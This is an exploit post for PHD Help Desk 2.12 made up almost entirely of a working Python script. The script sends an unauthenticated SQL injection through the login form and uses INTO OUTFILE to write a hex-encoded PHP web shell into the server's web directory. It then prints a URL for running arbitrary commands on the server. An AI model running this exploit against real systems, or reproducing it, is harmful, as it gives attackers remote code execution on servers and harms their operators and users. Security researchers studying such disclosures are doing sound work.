PHD Help Desk 2.12 – SQL Injection
# Exploit Title: PHD Help Desk 2.12 SQLi # Date: 05/24/2013 # Exploit Author: drone (@dronesec) # More information: http://forelsec.blogspot.com/2013/06/phd-help-desk-212-sqli-and-xss.html # Vendor Homepage: http://www.p-hd.com.ar/ # Software Link: http://downloads.sourceforge.net/project/phd/phd_released/phd%202.12/phd_2_12.zip # Version: 2.12 # Tested on: Ubuntu 12.04 (apparmor disabled) """ This app is so full of SQLi & XSS; if you're looking for practice with real web apps, this is a good place to go. You don't need auth for this. """ from argparse import ArgumentParser import string import random import urllib, urllib2 import sys def run(options): print '[!] Dropping web shell on %s...'%(options.ip) shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5)) # <? php system($_GET["rr"]); ?> data = urllib.urlencode({'operador':('\' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e' ',null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE' ' \'{0}/{1}.php'.format(options.path,shell)), 'contrasenia':'pass', 'submit':'Enter', 'captcha':''}) urllib2.urlopen('http://{0}{1}/login.php'.format(options.ip, options.rootp), data) print '[!] Shell dropped. http://%s%s/%s.php?rr=ls'%(options.ip,options.rootp,shell) def parse(): parser = ArgumentParser() parser.add_argument('-i',help='server address',action='store',dest='ip') parser.add_argument('-p',help='path to login.php (/phd_2_12)',action='store', default='/phd_2_12', dest='rootp') parser.add_argument('-w',help='writable web path (/var/www/phd_2_12) for shell', default='/var/www/phd_2_12/', action='store', dest='path') options = parser.parse_args() if not options.ip: parser.print_help() sys.exit(1) options.path = options.path if options.path[-1] != '/' else options.path[:-1] options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1] return options if __name__=="__main__": run(parse()) |